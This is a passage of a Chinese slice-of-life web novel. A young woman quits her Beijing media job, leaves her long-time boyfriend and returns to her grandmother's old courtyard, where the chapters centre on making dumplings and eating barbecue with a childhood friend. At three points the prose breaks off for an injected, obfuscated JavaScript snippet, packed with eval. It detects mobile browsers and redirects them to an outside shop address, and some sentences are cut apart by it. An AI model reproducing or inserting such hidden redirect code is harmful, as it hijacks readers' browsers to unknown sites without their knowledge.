《四季三餐小院里》 1. 吃饺子1 八月的安淮镇,骄阳似火。 夏轻走下出租车时,街坊们已经在巷口那颗茂密的老榕树下摆好四方桌。 战况正激! “唷,小夏回来啦!” “前几天还在问你外婆什么时候能喝你家的喜酒,她说快了快了,没想到那么快!准备摆几桌啊?男朋友没跟你一起来?” “莫老三,你土不土?孩子回来就是结婚?怪不得你家大恒过年都要呆在外地。” “我又搬石头砸自己的脚,我活该!” “小夏可是我们前进巷出来的名牌大学生,要你多嘴?” “人家现在在大公司上班,年薪起码二十万!我没说少吧?” 夏轻礼貌的笑。 不反驳,不解释,不给发挥空间。 牌桌上都是看着夏轻长大的叔伯嬢嬢,她不吭气,他们也能聊得热火朝天。 回来避暑呀?打算在京市定下了?买房没有? 哎哟,这年头房价越来越逆天,新区楼盘居然卖到四千二! 怎么敢的,十八线都排不上的小镇子…… 就算旅游经济搞起来了,那也是河对岸的商区如火如荼,跟死气沉沉的老区没半毛钱关系! “你要是为拆迁的事,恐怕白跑一趟了。” 莫老三盯着手里互不沾边的牌,遗憾的摇了摇头。 西南小镇机会少,拆迁对于在巷子里住了大半辈子的他们而言,是人生中为数不多能直接获得巨款的机会。 要是运用得当,往后的生活将发生天翻地覆的变化。 街道办、房屋征收还有什么自然资源规划部门的人,轮番来了好几波,给人营造出势在必行的错觉。 大家以为铁板定钉了,一纸文书下发,包括前进巷在内的周边一大片区域被纳进非遗申报名录。 “小夏你懂得多,你知道着非遗申请来了有什么用?要是成功了,政府会给我们这些住户发补贴吗?” 王幺妹手里攥着一张牌,问得很是没有底气。 赵易粗声粗气的抢白:“还补贴呢!不把你赶走都不错了。” “那不至于。”夏轻哭笑不得,“不管拆迁还是申报非遗都是好事,对旅游发展有好处,提升知名度什么的。” 知名度打出去了,游客陆续不断的来,经济自然会好。 只要形成良性循环,小镇未来可期! “要发展也是河对面在发展,咱们这儿——” 莫老三持续唱衰,然后把牌一推。 清一色?! 王幺妹几人忍不住骂:第一把胡那么大,当真不怕千刀万剐! 洗牌,继续。 夏轻拿起摆在边上的水壶,给他们的茶杯挨个续上凉茶,这才往家里走。 “小夏,你等等。” 叫住她的是刘敏苏,真·几十年隔壁邻居! “年初开始说要拆迁,你那两个舅妈就坐不住了,成天往这边跑。今早街道办在群里发完公告,后脚他们就聚到你家里开小会,人来得比过年还整齐,连你三姨都被他们从筑城喊回来了。” 夏轻听得脸皮发紧。 家里上至驾鹤西去的外公,下至几个舅舅、姨妈,个顶个的暴脾气。 一言不合就是吵。 外婆年纪大了,经不起闹腾。 再一想,不对啊。 拆迁是重点,现在明确不拆了,所以聚在外婆家“开会”另有原因? 会是什么事呢? 好嘛,夏轻越发感到不妙。 刘敏苏见她在琢磨了,理着面前的牌,继续说:“原本章姨跟我婆婆妈讲好下午一起去花市,结果也没去成。” 肯定不会去的,八成在家生闷气。 夏轻可太了解外婆了,中国女人要强的一生…… 王幺妹道:“你回来也好,陪陪章姨,给她宽宽心!” 夏轻点了点头,往家走。 身后,牌桌上的四人还在闲扯。 上前年庆叔一走,夏家就散了架。 兄弟姐妹四个跟仇人似的,章姨又要强,非要一个人留在前进巷,守着住了大半辈子的破院子。 夏轻毕了业就留在京市,再孝顺也不能时时刻刻顾着章姨。 可怜她妈妈去得早,她爸那个负心汉…… 哎,不讲不讲,晦气! 夏轻也觉得,有些人最好连提都不要提。 没意思。 前进巷位于淮安镇老区中心,重建于上世纪六十年代初,最早一批住户大多从江浙地区来。 他们响应国家“三线建设”的号召,举家搬迁,扎根西南深山。 夏轻的外公嘛,勉强能算其中一员。 夏庆光他老人家祖籍四川,学的广播专业,年轻时扛着昂贵的放映机往返于各个乡镇,是最受大家欢迎的电影放映员。 至于缘何住到前进巷,那就说来话长了。 想当年,前进巷可是众人梦寐以求的优质住房! 具有江南特色的四合院,间间敞亮。 最早三家人共住一个院子,挤一挤都是幸福。 后来生活越来越好,从单位集资房到商品房,熟悉的面孔陆陆续续的离开,前进巷愈发冷清下来。 如今还剩下不到二十户,尽头里的夏家,便是其中之一。 夏轻站定在家门口,看着锈迹斑斑的院门陷入犹豫。 她在十天前办完离职手续,一周前和相恋九年的男友提分手,三天前买好回家的机票。 大包小包的行李全部发快递,下飞机的时候查了一下,都在半路上了。 今年28岁的夏轻,名校本科毕业,工作履历漂亮。 比上不足,比下有余。 辞职不在计划内,却也是经过深思熟虑的。 目前她暂时还不知道回来要做些什么,但很清楚从一线到十八线,她将要面对什么。 意料之外的是除了自己的部分,家里也是一团乱麻、危机暗涌的样子? 没关系的,事情总能一件件解决。 念头转动间,夏轻从巷末拐出,溜达到家附近的小菜市场。 挑一颗饱满的大白菜,两斤鲜嫩的豌豆尖,再来一把香葱! 前夹肉要选肥瘦比例7:3的,请老板手工剁成肉馅儿。 这样口感弹牙,多汁还有嚼劲。 最后称一斤饺子皮,包出来大约五十个水饺,刚好够她和外婆吃两顿。 四点过回到家。 章万玉听到有人进门,杵着拐杖出来一看,竟是听话又懂事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351435|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的乖孙女?! “想我没?回来休年假,顺便避个暑。” 夏轻搞的是突然袭击,行的是缓兵之计。 语调轻松的说着,冲茫然老太送上一记撒娇wink,肩头一斜,挎包落到石桌上,拎着菜钻进厨房。 “飞机餐难吃死了,我回来的路上顺道去菜市场买了饺子皮,婆,给我包饺子吧,我饿……” 她叨叨叨的说个不停,手里的活儿更利索。 章万玉跟进厨房,她已经挽起袖子开始第二遍淘洗豌豆尖了。 “买这么多,天又热,坏了多可惜!” 老人家节俭了一辈子,见不得子女儿孙超支采买。 “放心吧,吃得完。”夏轻熟练的给豌豆尖掐头去尾,摘掉老的部分,“前一阵我去上海出差,这东西在超市里卖36块一斤,我都震惊了!” 章万玉也震惊:“要死哦比肉还贵,谁疯了去买来吃?” 夏轻扭头嘿地坏笑:“肉更贵。” 不等章万玉发散,她献宝似的从塑料袋里拿出那把精挑细选的葱。 “闻闻,香不?” 老太太战术后仰,佯怒瞪她:“再香你也不吃,挑嘴!” “您吃啊!专程买来孝敬您的。” 夏轻打小不吃葱,但凡给她尝到零星葱味,立马yue出来。 “咱们还是老规矩,一会儿先包我的,这把对于我来说算绝对致死量的葱,剁碎了全包在您的那一半里,行不?” “行,你买来我就吃,有什么不行。” 言语间,章万玉接受了大孙女休年假回家的现实,将拐杖支在桌边,取出塑料布铺好,反复擦净,撒些面粉上去。 按照祖孙两的坐位习惯,在桌的两端摆好筷子,再打半碗水放中间。 这边做好准备,夏轻那边也开始和馅儿了。 大白菜只要菜叶,切丝剁碎,但也不能太碎,用量大约跟肉是1比1。 加入适量的姜末、菜籽油、酱油还有食盐,一起搅和拌匀,直至肉馅儿有很明显的粘稠感就可以包了。 央妈出品的美食节目有认证:饺子远不止是一种食物,更承载着深厚的民俗意义! 对于包饺子这项传统手艺活,夏轻从初学时只求下水不散,到现在能包出漂亮的麦穗边,全是老吃家对美食的追求。 相比之下,章万玉早已炉火纯青。 八十年代纺织厂倒闭,她靠街边摆摊补贴家用,没让五个孩子挨过一顿饿。 做过很多杂货、零碎的活。 熬到九零年,大的两个孩子,也就是夏轻的妈妈和大舅先后参加工作,夏庆光被分派到小镇的乡镇广播站,总算不用东奔西走的放电影了。 家里的情况慢慢好起来,有了第一笔存款。 “那是四月间,临近我生日的那个赶场天,大清早的,你外公非要拉我去筑城逛商场,买新衣服,要给我过生日!” 筑城是省会,距离淮安镇一百多公里。 当时的交通工具只有大巴,走国道210线。 “那路啊,弯弯绕绕,坐在大巴车上的人摇摇晃晃,折腾三四个小时。” 好不容易到了筑城,就在去商场的路上,章万玉被市集上一辆挂着“便宜出”的三轮车吸引了。 2. 吃饺子2 电动三轮车的车架粗狂,焊接点肉眼可见的结实。 开放式货斗被改造成三面全包的厨台,底部的收纳空间很大,躲猫猫塞进两个成年人是不成问题的。 车被保养得很好,整体重新刷了一遍枣红色的漆。 餐车一体,七成新。 充满电可以跑三十公里! 章万玉看到这辆车的第一眼就想好要用它做什么营生。 所以那天最后,他们没有去逛商场,更没买新衣服。 攒了一年半的积蓄几乎全用来买车。 扣掉回去的车费,剩下的钱只够在集市上吃两碗馄饨。 夏轻补充:“还喝了一瓶桔子汽水。” 这段过往被夏庆光当做睡前故事反复讲给她听,她连细节都记得一清二楚。 一辈子都不会忘。 章万玉板起脸冷哼:“难喝死了,一股子香精味。” 不好喝的冰汽水,也是被老太太记了大半辈子。 “不过车买得真值,太值了!” 章万玉靠着那辆三轮车做起流动商贩。 每天起早贪黑,辗转于学校门口、录像厅和夜市街头卖煎饺! 小镇不大,九十年代那会儿,总共就四条街。 “章姨煎饺”外酥里嫩、鲜美多汁,价格实惠,配上独家调制的蘸水,就一个字——香! “只要我出摊,学校门口最长的队伍一定是卖煎饺的!到了晚上,我的三轮车开到哪里,镇上那些赶时髦的小青年就聚在哪里。” 章万玉今年77岁,一双手包起饺子灵活至极。 夏轻堪堪包好一只,她面前已经整齐的码放好三只。 三十多年前的摆摊经历,鲜活得好像昨天刚发生。 酷暑寒冬,风吹日晒,被城管碾得满街乱窜也没关系。 总之,别对生活低头。 夏轻瞄了一眼神采中泛出得意的外婆,见她心情明显好转,嘴角跟着翘了起来。 “以前住在巷口的赵胖子一家您还记得吗?” “怎么不记得!赵胖子最开始喜欢王幺妹,后来刘颖家搬到河对面,他只遇到人家两次就移情别恋了。” 夏轻面露惊奇:“这八卦新鲜,第一次听!” 章万玉瞥了她一眼。 这就新鲜了?知道得还是太少了! 不管怎么说,赵胖子和刘颖是自由恋爱。 婚后两口子在镇上开了家服装店,去广州进货,生意好得一塌糊涂。 忙厉害了,就没时间管儿子了,个个月都要来找章万玉包水饺。 一次最少五百个,拿回去塞得冰箱满满的,就是赵小胖的口粮。 那时候章万玉也忙,天还没亮就要出摊,十一、二点回家,还得给赵小胖包水饺。 每回赵胖子笑呵呵的来请章姨帮忙,都会被骂得灰头土脸。 可是章万玉骂完了,又会凶巴巴接过食材,扔下一句“明天来拿”,钻进厨房开包! 夏轻超绝不经意上情绪价值:“前进巷人人都知道章姨口硬心软,善得狠!” 章万玉的记忆很好:“赵小胖比你大不了多少,学习成绩好,懂事还有礼貌,要是哪天放学了没带钥匙就趴在家门口写作业,哎哟,太乖了!” 这么乖的小孩,她旁边也坐着一个。 夏轻道:“我上个月见到赵小胖了,跟我是同行呢,人家现在一点儿也不胖,穿一身西装站在宴会厅里,现场好多小明星都没有他帅。” 章万玉来了精神:“那他结婚没有?家里还好吗?他爸妈还死爱钱不?你们有没有互相要个联系方式?” “赵叔刘姨不做服装生意了,回南京以后开了家宠物用品店,现在家里养了七条狗和十一只猫,赵鑫磊的家庭地位直线下降。” “七条狗和多少只猫?!!” 章万玉以前就不理解赵家两口子的脑回路。 起早贪黑做生意卖衣服赚钱,说到底不都是为了儿子? 然而给孩子做顿饭的时间都腾不出一点。 长身体的时候天天吃水饺,营养都跟不上。 做父母的简直不像话! 现在算算年纪,赵胖和刘颖该过上退休生活了,又在家里养那么多猫猫狗狗,存心给自己找罪受? 祖孙两聊这几句,不加葱的饺子包好了。 夏轻洗了手,拿手机点进赵鑫磊的朋友圈,找到一张最新的家庭合照给章万玉看。 照片是五一小长假拍的。 明媚阳光下,广阔草原上,正式迈入中老年的夫妻俩身着同款运动服,牵着好几条品种不同的大狗子,怀里还抱着只猫,对镜头笑得灿烂。 赵鑫磊可怜兮兮的挤在角落里,也牵着狗,抱着猫! 龇一口大白牙跟着傻乐。 章万玉看得皱了下眉头,又仔细的去看一家三口,挨个点评:“赵胖子没怎么变,刘颖比年轻时候有气质,赵小胖确实不胖了,就是那个、怎么说?脂粉气太重!” “人家这叫——精致!” 夏轻强行纠正,罢了,放下手机,将切好的葱花加入馅儿盆,拿起筷子快速搅拌。 “他一直惦记您的水饺,说离开镇子以后再也没吃到那么鲜的饺子了。” 章万玉嘁了一声,没忍住笑:“哪有那么好吃,不过是味精加得多!” “不会吧?”夏轻很难不幻灭。 自她有记忆起,每次家里吃饺子,外婆都要三申五令别放味精,不健康! 其实这个论调是最早那批卖鸡精的奸商大肆宣扬开的,抛开剂量谈伤害,都是耍流氓! 但章万玉信以为真,直接把味精开除调味料。 于是夏轻理所应当的认为,卖了十几年的“章姨煎饺”也是不会加的。 想不到啊! “有什么不会。”章万玉相当坦然,“自己家吃和拿去外面卖的能一样吗?不放味精怎么提鲜?明天你早点起,去商业街生意最好的那家粉店看看,老板一袋袋的味精往汤锅里倒,都不遮掩。” 放味精而已,不是下毒。 老太太也没犯规。 夏轻眨了眨眼,尝试总结:“赵鑫磊说离开小镇再也没吃到那么好吃的饺子,原来是味精放少了。” “也不完全。”章万玉实事求是道,“我给他包的饺子要比拿去卖的好。” “怎么个好法儿?” “肉多,白菜用的全部是菜叶。” 夏轻眼色又复杂了:“菜帮子都拿去卖?” 章万玉嫌弃她什么都不懂,都暴躁了,加重语气道:“煎饺就是要用菜帮子才好吃,不然一口咬下去哪儿来那么多汁?!” 夏轻忍着笑哦哦哦,结束作死连环问。 饺子包好了,起锅烧水。 新鲜饺子要沸水下锅,高水温能让面皮外的那层淀粉迅速糊化,在表皮形成粘滑的保护膜,以增强口感。 大锅宽水,煮起来富裕,饺子不会相互粘粘。 过程中要加三次冷水,俗称:激水。 这里面是有门道讲究的。 激三下,使饺子皮更有弹性。 而三次降低水温,能让饺子内外均匀受热、熟透。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351436|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>洗好的豌豆尖在饺子起锅前的十秒下锅,烫一下,和饺子一起捞起,最大限度保留自身的鲜脆。 夏轻煮饺子的间隙,章万玉去厨台那边调制蘸水。 俗话说得好:火锅煮一切,蘸水调百味! 蘸水,是黔味之魂。 不同的汤菜火锅需要搭配不同的蘸水,每个人可根据自身口味加葱、加香菜、加薄荷叶……加全世界! 但万变不离其宗。 本地人从小到大严格遵守,绝不背叛! 吃水饺的蘸水以手工糊辣椒为基底,加入葱花、姜末、蒜泥、切成小颗粒的折耳根,一勺芝麻香油,还有注入灵魂的半块豆腐乳! 拌匀后,用饺子蘸着吃。 食物本身的味道与蘸水的鲜咸香辣相融相辅,达到极致的升华。 热腾腾的饺子接连下肚,来一筷脆绿爽口的豌豆尖,喝一口被馅料、面皮还有蔬菜香味提升了滋味的饺子汤。 原汤化原食。 “舒服——” 夏轻捧着见底的碗,发出满足的叹息。 晚饭结束时,太阳也下了山。 酷热褪去,漫天的红霞美得不像话。 祖孙两在院子里坐着,享受这稀松平常的安宁一刻。 夏轻吃饱喝足,想到前几天在朋友圈刷到的一句话,酸臭文人似的抒发起来:“人生如寄,幸不长存——说得真对!” 这辈子无非活个过程,既然如此,好好过吧! 浑然忘了隔壁坐着个犀利老奶。 章万玉淡淡然的扫了她一眼,猝不及防问:“辞职了?” 猜得真准! 夏轻表面如老僧入定,糅杂在躯壳里的三魂七魄都在颤。 “盼我点儿好!” 她答非所问,故意瞪眼睛,做出夸张的表情。 章万玉持续发力:“那是又在跟小林闹分手?” 夏轻很想纠正,不是“又”也不是“闹”,而是真正意义上的结束。 可是她回家才不到三个小时,嘈杂的内心刚得到食物的少许慰藉,还差一个无梦的好觉。 这个时候根本不想聊工作和感情。 太扫兴! “婆,你今天为什么没跟颜奶奶去花市啊?”最好的防守就是进攻,夏轻直勾勾的盯着章万玉,还真把她问得神情闪烁。 “你怎么知道、我要去花市?” “我在巷子口遇到刘姨,她跟我说的啊,以为你哪里不舒服呢,临时爽约。” “哦哦,颜家媳妇说的……那么热的天能出门吗?你能不能也盼我点好!” “嗯,能,这天确实热。”夏轻点头附和,不再接话。 章万玉却琢磨过来:“你跟我转移话题?” 急得拍了下硬邦邦的石桌! “到底是辞职了还是分手了?跟我说实话!” “哎呀——” 夏轻愁得脑袋疼,慢吞吞的起身收拾碗筷,实施拖延战术。 “我不问您为什么没出门,您也别追问我了。咱两都沉淀下,明天畅快淋漓的聊,聊透!行不?” 章万玉想到早上家里发生的鸡飞狗跳,也是不想说出来给孙女添堵的,勉强点头答应了。 “那行,我去洗碗。” 夏轻都转过身了,心里头憋了个坏,转回来,一脸认真的看着章万玉。 “您知道吗?” “什么?” 章万玉顿时提起精神,严阵以待! “大部分酱油里都有味精,比如我们家吃的,它的主要成分的学名叫:谷氨酸钠。” 3. 铁签烤肉,还有冰啤酒1 章万玉面露茫然,没反应过来孙女在说什么。 夏轻一本正经,语速飞快的照着手机念:“谷氨酸是人体必需的氨基酸,广泛存在于奶酪、海带、番茄和各种肉类等纯天然食品当中。一个体重在120斤的、健康的成年人,长时间持续每天摄入超过6克味精,会引发口干、心慌、头痛等症状。而6克的味精,相当于——” 章万玉撑着石桌边缘站起,杵着拐杖回客厅,打开电视,守着八台的黄金连播。 最近正在放的剧真好看,讲的就是她们那个年代的事儿。 特别有代入感! 夏轻遭到了老太太刻意的忽视,收获了莫名其妙的快乐,哼哼着小曲儿,心满意足的洗碗去。 收拾完厨房,天完全黑了。 客厅的灯光从敞开的门和玻璃窗里渗出来,穿透夜色,在小院里交织出几片柔光。 正值盛夏旅游旺季。 入夜后,酒吧闪动的灯光自下而上映照进深邃的夜空,律动的音乐把风搅得喧嚣,从河对岸飘来,荡进深巷里,与邻居们从下午延续到晚上的麻将音,与外婆追剧的人物对白,与树上的蝉鸣,与河水的跳跃融合在一起…… 这个没什么特别的夜晚,竟柔情得令人感到不可思议。 夏轻伸了个懒腰,任由凉爽的风轻轻吹拂在漾着笑的脸上。 西南地区不仅四季分明,白天和夜晚的温度也如天光变化,界限分明。 总之就是宜居! 她想家了,她回家了。 回家真好! “最近晚上总是断断续续的停水,事先也不通知,赶紧去冲个凉。” 客厅里传来章万玉的催促,夏轻应了声好。 章万玉又做贼心虚的说:“刚才小林给你发短信,问你回来怎么也不跟他说一声,还问你什么时候回去,他去机场接你,要跟你好好聊聊——我可没故意看啊,是你手机不停响,我只瞄了一眼。” 只瞄一眼就看到那么多内容,证明什么? 证明我家老太太眼神儿好! 夏轻走进客厅,从茶几一角拿起手机。 屏幕跟随她的动作自动亮起,信息已经叠了十几层。 怪挤的。 电视剧里,男主发生意外躺在医院昏迷不醒,怀孕的女主站在病床前掉眼泪,向他保证就算一个人也会把孩子生下来抚养长大。 男主一家在这个时候闻讯赶来,不分青红皂白的拉扯女主,骂她是个害人精! 夏轻分心的听了一耳朵,很想建议女主去脑科挂个号。 还庆幸自己坚定,当初就没答应林奉“奉子成婚”的昏招。 她哪里都好,这么多年一直得不到林父林母的认可。 生个孩子就能母凭子贵了? 林家没皇位要继承,她也不是非要跟林奉结婚才活得下去的恋爱脑。 章万玉坐在沙发上,剧情正精彩的电视剧都顾不上看了,只望着一言不发的孙女,小心试探:“这次是为个什么事吵啊?” 老太太见过林奉。 土生土长的北京孩子,结实的大高个儿,浓眉大眼的端正长相,嘴特别甜,但不是那种油嘴滑舌的甜,做事更是利索,给人感觉特别真诚。 他比夏轻大半岁,九年长跑,奔着结婚去的。 这些年跟着夏轻回来不止一次两次。 前进巷的街坊邻居早就熟悉他这个人,章万玉的心里也早就默认他是外孙女婿了。 就是不知道他们什么时候才能修成正果。 夏轻收敛思绪,回了外婆一眼,寻常口吻道:“没事儿,您还不知道么?他就是啰嗦。” 章万玉不放心:“吵架是正常的,但是吵完了得把原因摊出来讲明白。你不能仗着小林脾气好就总欺负人家。” “知道啦,我去洗澡了。” 夏轻无奈答应,心说根本没吵,不会吵。 都分手了,没必要再浪费这力气。 回卧室冲凉,换睡衣,敷面膜,打开电脑跟进手里最后一个项目。 她在中传读的是广播电视编导专业,因为个人能力实在突出,大四被导师推荐进地方电视台实习。 又在机缘巧合下,深度参与了一档传统文化节目的制作。 现在这档节目已经出到第十季,每期的嘉宾都是一线明星。 夏轻本来是有机会进电视台编制的。 可当时的她太需要钱了。 过往累积欠下的亲戚借款、助学贷款,还有大城市的食宿也是一大笔开销。 国庆节外公外婆来看她,无意中让她得知西南地区出台了新政策:针对过去的下岗工人,只要补缴一定年限的养老保险,达到法定退休年龄就能领老金。 章万玉以前是纺织厂的职工,厂子倒闭后,不得已做起流动商贩。 夏庆光特地找人社局的朋友咨询过,她完全符合条件,而且早就到了退休年龄。 即是说:这个月补缴养老保险,从下个月起就能领“工资”。 领到驾鹤西去那天为止! 可是掏空了家底,借遍了亲戚朋友,最后还差三万七。 事情没办成,老两口别别扭扭的来北京看夏轻。 每日勉强维持着表面上的和气,心里各自揣着不痛快。 夏庆光在广播局做了大半辈子技术人员,遇到晋升机会从不主动争取。 往说好听了叫老实本分,其实就是傻! 他的退休金并不高,除去日常开销,大头都用来补贴不争气的儿子了。 这也是夏家的主要矛盾之一。 章万玉不想放过千载难逢的机会,在北京的那几天,分别打电话跟子女商量。 结果夏轻的三姨表示愿意贡献出全部的私房钱,她的二舅、四舅和小姨全部口径一致。 他们先是哭穷,再跟章万玉算账:您老人家已经七十高龄了,花九万补缴养老保险,每个月领三千块,得多少年才能把这笔钱领回来? 您还活得了多久哇! 夏轻始终记得,那天她拎着水果零食回到酒店,隔门听到外公外婆抱头痛哭的声音,说不心疼是假的。 再三追问,得知事情全貌。 当天下午联系了一直对自己欣赏有加的传媒公司老板,闭着眼跟对方签下五年的劳务合同。 条件只有一个:提前预支半年工资。 如今章万玉的退休金涨到四千块一个月,在物价不高的小镇生活,绰绰有余了。 夏轻大学毕业就为之效力的声光画传媒上市在即,她的伯乐也身价倍增,一跃成为行业内有姓名的女大佬。 她呢,小半天的功夫,回到几千公里外的小镇家中。 先进的交通工具极大的节约了时间,模糊了距离的长短,让她来不及想太多。 今天左曼姝特地腾出时间开车送她去机场,从郁郁不快的数落到委婉的挽留,后来发了脾气。 当然会发脾气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351437|199612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>说过不止一次,公司上市就分红。 大别野暂时承诺不起,但绝对够在京市付个两室一厅的首付! 夏轻北漂这些年,积分也攒得七七八八了,早晚能落户的。 临门就差一脚,你跟我说你要辞职?回老家?! “下了飞机你就得后悔我告诉你!” 左曼姝近乎失智的尖叫还清晰的回荡在脑海里,夏轻内心有一种扭曲的满足感。 可能还没下飞机,她就后悔了。 而更多的可能是,这夜太安宁,熟悉的环境给与了她足够的安全感。 不管电视台的编制还是落户北京的机会,选择而已。 影视传媒这一行没有朝九晚五一说,流程推到你这里,你就要想方设法尽快完成。 做完对接已经11点过了,林奉又在微信里攒了一堆废话。 不点开都知道他说了些什么。 “缓几天再跟他决战。” 夏轻将分手相关列入代办,晃到厨房,冰箱里只剩下过年时喝剩下的两罐百威。 打开外卖软件,准备点个烤串套餐,新的消息弹出来—— 童晓冉:【开门。】 附上现拍的照片一张:背景是她家锈迹斑斑的大门,镜头居中是一只戴着冰种飘花翡翠手镯的手,手指头勾着一大袋铁签烤肉。 塑料袋的内部粘着翠绿葱花,浮着一层喷香热气。 筑城知名小吃:铁签烤肉。 在纤细的铁签上均匀串起猪肉、蹄筋、黄喉、腰花、毛肚等食材,放到炭火上爆烤。 高温炭烤下,肉的表层快速胶化,锁住内里水份。 随后,老板会刷上第一层酱料,让调料丰富的滋味渗透进去,同时防止外层不焦糊。 这个过程中,铁签也在迅速受热,从内部将多余的热能输送给肉粒,加速肉串的成熟。 刷足三次酱料,前后用时最多两分钟,超过这个时间没熟透的话,是不够火候,更是老板功夫没到家。 食客可以摆脸色的。 肉烤好了,装盘前洒胡椒粉、辣椒面、芝麻和葱花。 一口炫一串,伴随Q弹的口感,肉汁在齿间炸开,即刻获得全宇宙! 夏轻全身馋虫都被勾醒了,还要故意刁难她一下:【8+1呢?】 童晓冉:【我知道你家冰箱里还有两罐百威,赶紧给我开门!不然我要闹了[破口大骂]】 两人是发小,还在娘胎里就隔着妈妈们的肚皮打了招呼,从小一起长大,对彼此的喜好厌恶生活种种包括怪癖都了如指掌。 夏轻今天进入小镇范围不超过十分钟,童晓冉就收到线人给的准确情报了。 一声不吭,发狠加班。 赶在9点前结束战斗,从筑城开车过来,捎带着两人都爱吃的欢姐铁签烤肉。 炎夏的晚上要爬到客厅的房顶,排排坐好,吹着凉悠悠的夜风,视线跃过闪烁着银光的河流,看对岸灯火阑珊。 明媚忧伤的那些年,她们总能处心积虑的制造出偶像剧里的氛围感,幻想一段纯爱的展开。 童晓冉是个思维特别活跃的人,凭空编故事的能力一绝。 两个人,加起来吃了不到十串烤肉,她忽然收回伸出去的手,表情凝重的望着夏轻,语调犹豫又哀伤:“嘎嘣一下就回来了,你别不是患上了什么、什么不治之症吧?” 夏轻不理解的回视她,逐渐拧起眉头。 “什么玩意儿?” 4. 铁签烤肉,还有冰啤酒2 “哎哎你先别说话,听我说,我有思路!” 童晓冉抬手打住想要解释的夏轻,仰头喝了一口冰凉沁爽的8+1。 “首先你那工作根本不允许你随时回家,更不要说声光画就要上市了,你家十八线的艺人都在积极跑通告,给外界营造很能赚钱的盛世景象,要是你没遭遇点儿性命攸关的大事,跑回十八线老家干嘛?” 思路是正常的,推理是正确的。 夏轻看着笑得跟个大聪明一样的童晓冉,也是被勾起了一点兴趣。 好奇她能发散到什么程度。 “嗯,其次呢?” “其次——” 童晓冉一拍大腿,整理乱飞的五官,只剩下“极度嫌弃”这一种表情。 “你知道的,我向来看不惯林奉,王子的病,乞丐的命,心比天高,能力弱鸡!你俩屁大点矛盾我都一视同仁劝分不劝和。” 夏轻不认可,不纠正、更不反驳:“接着说。” 童晓冉很敏锐:“不对啊我的朋友,以前我这么说林奉,你多少得维护一句,他没那么弱鸡,至少没有王子病巴拉巴拉,今天怎么不护了?” 夏轻想交代说“分了”,她继续制止,非要自己分析。 “就算你跟他分手,比以往那几次分得都决绝彻底吧,也不可能因为这点破事就要飞几千公里回家疗伤,又不是恋爱脑。” 这话听着真顺耳。 夏轻对她举了举啤酒罐,隔空敬一个。 童晓冉笑得眼睛弯成月牙儿。 “你在小镇上最大的牵挂是外婆,只有外婆!她上个月去省医体检,我做的陪护,体检报告的照片还在手机里没删除。” 读书时,每个学期开学,夏轻都要在小本本上定学习目标:今年的年级总排名至少要挤到什么位置,不擅长的科目怎么提升,包括大学考去哪里,寒暑假打工挣多少钱。 这些她全部做到,很多还是超额完成。 童晓冉被她卷得一度不想跟她做朋友。 “你的每个决定都经过深思熟虑,也许会后悔,但无论结果如何都始终坚定。毕业后更别说了,学生时代的plus版,工作上一丝不苟,感情上拿捏有度。于是问题来了——” 排除与外婆相关的因素,到底是什么原因让夏轻这么个工作狂放下了比天大的工作,提起恋人时还表现出不同寻常的洒脱? 不治之症是不可能的。 那是独属于关系亲近的朋友之间,不带恶意的、特别的“关怀方式”。 就看夏轻小酒一喝,那红润的面色,童晓冉跳脱的想起她们春节期间唯一一次的晨跑。 匀速三公里,她像头迟暮的老牛喘得上气不接下气。 夏轻没事人似的,对她无情嘲笑:“我还没开始你就结束了?” 当时童晓冉只有一个想法:夏轻肯定比她活得长,且健康! 这个想法现在依旧不变。 夏轻拿捏起来了:“发挥你的聪明才智,猜对了请你吃饭。” 为了那顿饭,童晓冉觉得自己有必要来一波头脑风暴。 “你和林奉分手了,分得很彻底。” “对。” “你也辞职了?” “没错。” “你还没想到回来做什么,但回家是你的第一站,更是新的开始?” “可以这么理解。” 三连问,全部得到肯定的回答。 童晓冉复杂的沉默了。 夏轻单手托腮,嘴角挂着神秘的笑,等她做出最后的判断。 童晓冉将手中的小麦果汁一饮而尽,翻涌的心绪略作平复,旋即,换上一副谄媚的嘴脸。 对她。 怎么是这种反应变化? 夏轻又读不懂这个发小了。 童晓冉冷不防抓住她的手,言辞恳切:“姐妹,苟富贵,勿相忘!” 夏轻脑袋顶冒出一大堆问号。 “你实话跟我说,中头奖了吧?追加了多少倍啊?我明天辞职了你能养我一辈子吗?我会为你潜心修炼厨艺的!” 夏轻笑着把那张凑过来的脸推开:“就你那盐糖不分的水平,还是让老奴来吧!” 